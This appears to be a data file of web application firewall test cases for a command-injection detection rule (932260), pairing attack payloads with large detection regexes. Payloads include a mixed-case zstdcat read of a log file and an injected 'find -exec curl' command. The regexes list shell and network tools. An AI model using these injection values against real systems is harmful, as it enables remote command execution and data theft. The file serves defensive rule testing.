\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "Remote Command Injection test for BB finding 935E1D91 - time evasion attempt" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo='ZsTdcaT+/var/log/sensitive_log_file.zst" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s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\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "System Command Injection test for BB finding AV6ZO3ZS - mixed case" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=find%20.%201%20-exec%20curl%20google.com%20\\;" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(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:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "'find' direct command injection FP test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=find%20x%20for%20y" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?a[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&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o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "'find' direct command injection FP test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=ping%20127.0.0.1" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { 